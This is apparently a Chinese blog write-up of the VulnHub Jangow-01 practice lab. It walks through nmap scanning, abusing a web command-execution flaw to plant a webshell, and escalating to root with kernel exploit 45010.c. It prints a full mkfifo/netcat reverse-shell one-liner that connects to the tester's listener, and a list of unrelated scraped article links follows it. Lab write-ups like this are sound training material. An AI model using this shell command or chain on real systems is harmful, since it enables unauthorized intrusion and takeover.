VulnHub-Jangow-01-1.0.1打靶记录
知识点
- NMAP参数
-sV获取系统信息-sTTCP扫描可能会留下日志记录-sC使用默认脚本(在-A模式下不需要)-p1-xxx扫描端口号-p-==>等价于-p1-65535不设置端口就扫描默认端口-Pn绕过禁用ping-A进攻性扫描也会运行默认脚本)
- arp-scan arp利用arp地址解析协议探测扫描
- -I 大写i 用以指定用来扫描的网卡 如果未指定会使用网卡序号最低的一个 也就是eth0但是如果指定 那么指定的网卡必须支持ARP
- -l 小写L 表示从网络接口的ip和掩码生成列表进行扫描
准备工作
由于下载的ova文件默认是仅主机模式,不方便使用,这里用vm打开后改为,nat模式,当然如果要使用仅主机模式,只要保持,可以和目标通信即可。
由于镜像保护原因,直接下载的可能遇到无法获得ip的情况,可通过一下步骤获取ip
- 在下面这个页面按e

找到这个位置 将ro更改为 rw single init=/bin/bash,如图所示


然后按ctr+x进入命令行页面
查看网卡名称

进入网络配置面板


将该文件的网卡名称改为 ens33

重启网卡即可获取ip

然后直接重启虚拟机即可进入测试

信息收集
- 目标发现

发现目标,由于其他三个是环境中的所以锁定这个(这里有点脱裤子放*了,因为前面重启服务的时候已经看到了,但是如果这个环境没有问题,是需要这样进行目标发现的。)
资产扫描
nmap -sV -Pn -A -p- 192.168.245.141
这里用-p-是全端口扫描,虽然慢点,但是这样可以保证资产不遗漏,如果靶机改了端口,用常用端口无法扫描到。

这里扫描发现有一个http服务,和ftp服务,ftp需要账号密码,转向http服务
http测试

- 点击site进入网站首页

- 翻看发现这个页面存在命令执行。

7.
只需要在参数后门加要执行的命令
webshell写入

注意那么美元符前面要加反斜杠,否则在执行的时候,命令行会把他当做一个变量,无法写入到文件
使用ls命令查看目标已写入成功,用蚁剑连接

这个文件中有数据库信息,本打算利用数据库提权,但是很遗憾无法连接,按理说用webshell连接是本地连接但是连接不上。
寻找其他的方法,本想将权限返回到msf或者cs上进行下一步自动发测试但是多种方式测试均无法成功上线,可能是防火墙原因也有可能是靶场的linux环境不支持我测试的后门程序。
这里使用命令
uname -a可以发现 系统内核版本信息,使用searchsploit进行搜索,结果如下

经测试只有45010.c这个文件可以成功反弹,其他均失败
将shell反弹到nc,因为需要接收exp执行后返回的回话。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.245.128 443 >/tmp/f更换ip即可
nc -lvnp 443 端口不能换,其他端口没办法反弹。
执行 exp
./exp如果执行不成功 添加执行权限chmod +x exp后再执行
38195)]
17. 执行 exp ./exp 如果执行不成功 添加执行权限 chmod +x exp 后再执行
18. [外链图片转存中…(img-C4kFovwJ-1661052138195)]
获得了root权限,使用passwd即可更改密码,可以任意方法维持权限。
VulnHub-Jangow-01-1.0.1打靶记录的更多相关文章
- 【转载】在VS2008中使用WSE 3.0过程全记录
WSE全称是Web Service Enhancement,提供了更好的安全性实现,以及大对象传输的设计. 有关WSE的一些介绍,如果不清楚,可以参考下面的链接 官方介绍:http://www.mic ...
- mysql8.0.16操作记录
mysql8.0.16操作记录 2.1.登录 -uroot -p'AnvcTMagdLarwNV3CKaC' mysql: [Warning] Using a password on the comm ...
- VulnHub-Earth 打靶记录
目录 VulnHub-Earth 打靶记录 知识点 目标探测 信息收集 Shell反弹&信息二次收集 提权 权限维持 VulnHub-Earth 打靶记录 搭建靶场的时候一定要使用NATser ...
- ccs6.0使用问题记录
ccs6.0使用问题记录 彭会锋 1 编译过程中提示warning " Description Resource Path Location Type #9-D nested commen ...
- select2 4.0.3 空记录时的处理
使用select2插件,如果后台查找没有记录,不能返回null,要返回一个空数组,不然会报错:data is null 空数组形式为(firefox调试输出):{"items":[ ...
- 浅析Entity Framework Core2.0的日志记录与动态查询条件
前言 Entity Framework Core 2.0更新也已经有一段时间了,园子里也有不少的文章.. 本文主要是浅析一下Entity Framework Core2.0的日志记录与动态查询条件 去 ...
- Lucene.net(4.8.0) 学习问题记录五: JIEba分词和Lucene的结合,以及对分词器的思考
前言:目前自己在做使用Lucene.net和PanGu分词实现全文检索的工作,不过自己是把别人做好的项目进行迁移.因为项目整体要迁移到ASP.NET Core 2.0版本,而Lucene使用的版本是3 ...
- Lucene.net(4.8.0) 学习问题记录六:Lucene 的索引系统和搜索过程分析
前言:目前自己在做使用Lucene.net和PanGu分词实现全文检索的工作,不过自己是把别人做好的项目进行迁移.因为项目整体要迁移到ASP.NET Core 2.0版本,而Lucene使用的版本是3 ...
- Video Test Pattern Generator(7.0)软件调试记录
Video Test Pattern Generator(7.0)软件调试记录 . XVidC_VideoMode XVIDC_VM_576_50_I = XVIDC_VM_720x576_50_I ...
- manjaro xfce 18.0 踩坑记录
manjaro xfce 18.0 踩坑记录 1 简介1.1 Manjaro Linux1.2 开发桌面环境2 自动打开 NumLock3 系统快照3.1 安装timeshift3.2 使用times ...
随机推荐
- springboot参数据校验
什么是Hibernate Validator? Hibernate Validator是Hibernate提供的一个开源框架,使用注解方式非常方便的实现服务端的数据校验. 官网:http://hibe ...
- 摆脱鼠标系列 - vscode - 跳转到下一个文件 Ctrl(右边) + PageDown 这个很常用
为什么 摆脱鼠标系列 - vscode - 跳转到下一个文件 Ctrl(右边) + PageDown 这个很常用 右边Ctrl 就可以单手操控了 这个频率很高
- linux-debian-把用户加入root组
使用vim进入 /etc/sudoers 打开这个文件(或者 vi)也行 修改数据: 敲击键盘上个的 i 就可以键入字符了, 在root = ALL(ALL:ALL) ALL 的下面敲击 用户 ...
- JavaScript js 教程 视频教程
一个完整的JavaScript实现应该由以下三个部分构成: ECMAScript,DOM和BOM 1 特点: JS的特点 解释型语言 类似于 C 和 Java 的语法结构 动态语言 基于原型的面向对象 ...
- Linux 运维工程师面试真题-5-常考题目汇总
Linux 运维工程师面试真题-5-常考题目汇总 1.解释下什么是 GPL,GNU,自由软件? GPL:(通用公共许可证):一种授权,任何人有权取得.修改.重新发布自由软件的权力. GNU:(革奴计划 ...
- JAVAoooooo
class Grandparent { public Grandparent() { System.out.println("GrandParent Created."); } p ...
- NJUPT第二次积分赛小结与视觉部分开源
NJUPT第二次积分赛小结与视觉部分开源 跟队友连肝一周多积分赛,写了一堆屎山,总算是今天完赛了.结果也还行,80分到手.其实题目是全做完了的,但验收时我nt了没操作好导致丢了不少分,而且整个控制流程 ...
- 记录--7 个沙雕又带有陷阱的 JS 面试题
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 为了保证的可读性,本文采用意译而非直译. 在 JS 面试中,经常会看到一些简单而又沙雕的题目,这些题目包含一些陷阱,但这些在我们规范的编码 ...
- 记录--手写$forceUpdate,vm.$destroy方法
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 vm.$forceUpdate (1)作用 迫使Vue.js实例重新渲染.注意它仅仅影响实例本身以及插入插槽内容的子组件,而不是所有子组件 ...
- python实现批量运行命令行
python实现批量运行命令行 背景: 对于不同参数设置来调用同一个接口,如果手动一条条修改再运行非常慢且容易出错.尤其是这次参数非常多且长.比如之前都是输入nohup python -u exe.p ...